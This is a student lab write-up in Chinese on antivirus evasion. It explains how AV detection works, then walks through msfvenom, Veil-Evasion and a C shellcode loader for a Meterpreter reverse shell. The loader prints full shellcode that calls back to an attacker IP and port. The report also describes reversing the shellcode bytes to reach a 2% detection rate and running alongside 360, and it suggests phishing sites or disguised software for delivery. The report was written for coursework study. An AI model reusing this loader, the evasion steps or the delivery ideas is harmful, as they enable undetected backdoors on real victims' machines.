Exp3 免杀原理与实践_05齐帅

Exp3 免杀原理与实践#

20154305_齐帅###

想要弄懂免杀，一定得先把基础问题弄明白啊~~

一、基础问题回答#

（1）杀软是如何检测出恶意代码的？###

- -检测特征码：####

依靠分析总结出计算机病毒中常出现的部分
例如，作者名称，地址，执行关键步骤的部分代码，来作为特征码。将大量特征码保存在病毒库中，杀毒依靠检索程序代码是否和库中特征码是否吻合

优点：能较准确查杀；缺点：具有滞后性

- -启发式恶意软件检测：####

如果该程序的特征和行为与病毒程序类似，其匹配程度达到一定值就可以认为该程序是病毒程序

优点：能在一定程度上预防新型病毒；缺点：容易误报

- -基于行为检测：####

与启发式检测类似，只是单纯依靠监测程序行为来作为标准

（2）免杀是做什么？###

使恶意软件不被杀毒软件检测出来杀掉

（3）免杀的基本方法有哪些？###

- -改变特征码：####

- 依靠分片等方法尝试找出特征码区域，并对该区域代码进行编码
- 加壳，使其无法进行逆向，比对病毒库中的特征码

- -改变行为方式：####

例如之前注入所用到的反弹端口连接

二、开始实验测试#

弄清了这些问题，我就开始尝试对恶意代码进行伪装

1.原始版本##

将上此实验产生的后门 qishuai_backdoor.exe 文件直接拷贝到开启360的win主机下#####

直接被360逮到~~#####

添加信任以后放在 http://www.virscan.org/上扫描

48%的报毒率！！那些没查到的可能因为病毒太裸了吧~#####

接下来需要对其进行改装了

2.编码版本V1##

先对后门木马编码1次，qishuai_backdoor_v1_1.exe#####

46%的报毒率，仅仅降低了2%，那就编码10次试试，qishuai_backdoor_v1_10.exe#####

48%的报毒率？？,反而更高了，这个方法不咋靠谱的~~#####

3.veil-evasion版本 qishuai_VE_4

首先需要安装它

sudo apt-get install veil-evasion

下载好之后veil开始安装，一路YES

安装好之后选择evasion工具#####

选好后根据菜单提示在现有的这些工具中选一个TCP链接的payload#####

根据菜单提示设置参数#####

set LHOST kali_ip

set LPORT 4305

设置好之后开始生成病毒

可是我选择了25和28，不知道为啥生成都失败了，过程不看了，只有个

失败的结果：#####

可见，python和powershell都没有exe可执行文件###

不过生成文件存放的文件夹还是要记住的~

最后选择了一个用C语言生成的payload，成功了：#####

如上，设置好参数

起个名字，qishuai_VE_4#####

需要在上面的文件夹把exe文件拷贝到win主机上，当然我没找到那个文件夹，只好把那个文件夹复制到主机root目录下

cp -r 要复制的文件夹绝对地址 /root

这样就可以从/root中将文件拷贝到win主机，去检测一下吧

只有15%的报毒率了！！打开360软件试一试-->

被无情拦截，看来还不行- _ -###

4.C语言调用Shellcode版本##

在Kali下生成一个C语言格式的shellcode数组，回连的IP为Kali的IP，端口自定。#####

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.131 LPORT=4305 -f c

将shellcode字符串复制下来，然后在win主机编辑一个C语言程序，用VE编译运行#####

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>
const char met[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xef\x83"
"\x68\x02\x00\x10\xd1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    DWORD old=0;
    BOOL ret=VirtualProtect((LPVOID)met,strlen(met),PAGE_EXECUTE_READWRITE,&old);
    INT32 * addr;
    addr = (INT32*)&met;
    __asm;
    {
	    call addr;
    }
    return 0;
}

找到exe可执行文件 qishuai_shellcode_C.exe，扫描一下吧####

12%的报毒率了，降低了不少####

回连一下kali主机试一试####

上面的几个后门没有回连，因为觉得用专业软件生成的木马功能应该没什么问题，这个C的木马担心编程出现错误，就回连试了一下~

按照上此实验的方法一顿操作之后成功控制win主机，没有问题！#####

5.C调用升级版本##

将shellcode代码部分前后颠倒，就是最后的放在最前，最前的放在最后加强一下~#####

先编写一个C程序将buf[]数组内容颠倒

int i；
char a[400];
for(i=430;i>=0;i--)
   {
    a[430-i]=buf[i];
   }
for(i=0;i<431;i++)
    printf("%x，"，a[i]);

大概就是这样，当时没截图，可能有错误~

将结果复制下来，去掉,再加上\x一顿整理，得到这个东西

再按照上面的C语言程序在VE下编译成exe文件，qishuai_shellcode_C_V2.exe#####

扫描一下吧~#####

可以的，不枉费我这么费劲，只有2%的报毒率！！！###

WHAT？？？？？难怪只有2%的报毒率。。。###

再改进吧，实验的时候给老师检查一个能免杀的

ok，现在改进好了，原因就是把shellcode逆序之后还要在调用的时候把它变回来才没有问题，改了一下上边的程序源代码，加一个循环倒置就行了，现在可以和360共存了，哈哈哈！！！回连也成功了！！！报毒率只有2%##

看图吧！！###

报毒率

和360共存

回连

三、离实战还缺些什么技术或步骤？#

当然是如何使木马病毒自己运行起来呀，总不能我去别人主机双击运行吧，可以伪装一下别的软件或者放在钓鱼网站吧。

四、实验感想#

其实了解了杀软的原理也就能知道如何避免病毒被杀死，一些繁琐的操作背后都是为了改变病毒的基本特征，受用很深，也让我了解了看似安全其实不然的电脑环境安全，现在有点头晕了，凌晨1点半~,不过我还是觉得这个实马